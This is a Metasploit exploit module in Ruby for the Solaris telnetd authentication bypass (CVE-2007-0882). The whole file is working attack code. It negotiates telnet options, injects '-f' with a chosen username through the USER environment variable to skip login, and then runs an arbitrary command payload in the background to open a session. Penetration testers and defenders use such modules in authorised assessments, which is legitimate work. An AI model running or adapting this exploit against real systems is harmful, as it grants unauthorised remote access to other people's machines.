##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',
        'Description' => %q{
          This module exploits the argument injection vulnerability
          in the telnet daemon (in.telnetd) of Solaris 10 and 11.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2007-0882' ],
          [ 'OSVDB', '31881'],
          [ 'BID', '22512' ]
        ],
        'Privileged' => false,
        'Platform' => %w[solaris unix],
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat' => {
            'PayloadType' => 'cmd',
            'RequiredCmd' => 'generic perl telnet'
          }
        },
        'Targets' => [
          ['Automatic', {}],
        ],
        'DisclosureDate' => '2007-02-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(23),
      OptString.new('USER', [ true, 'The username to use', 'bin' ]),
    ])
  end

  def exploit
    connect

    print_status('Setting USER environment variable...')

    req = "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"
    req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"
    req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFC\x25"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"

    sock.put(req)
    sock.get_once

    req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"

    sock.put(req)
    sock.get_once

    req = "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"
    req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"
    req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"

    sock.put(req)
    sock.get_once
    select(nil, nil, nil, 0.25)

    sock.put("nohup #{payload.encoded} >/dev/null 2>&1\n")

    select(nil, nil, nil, 0.25)

    handler
  end
end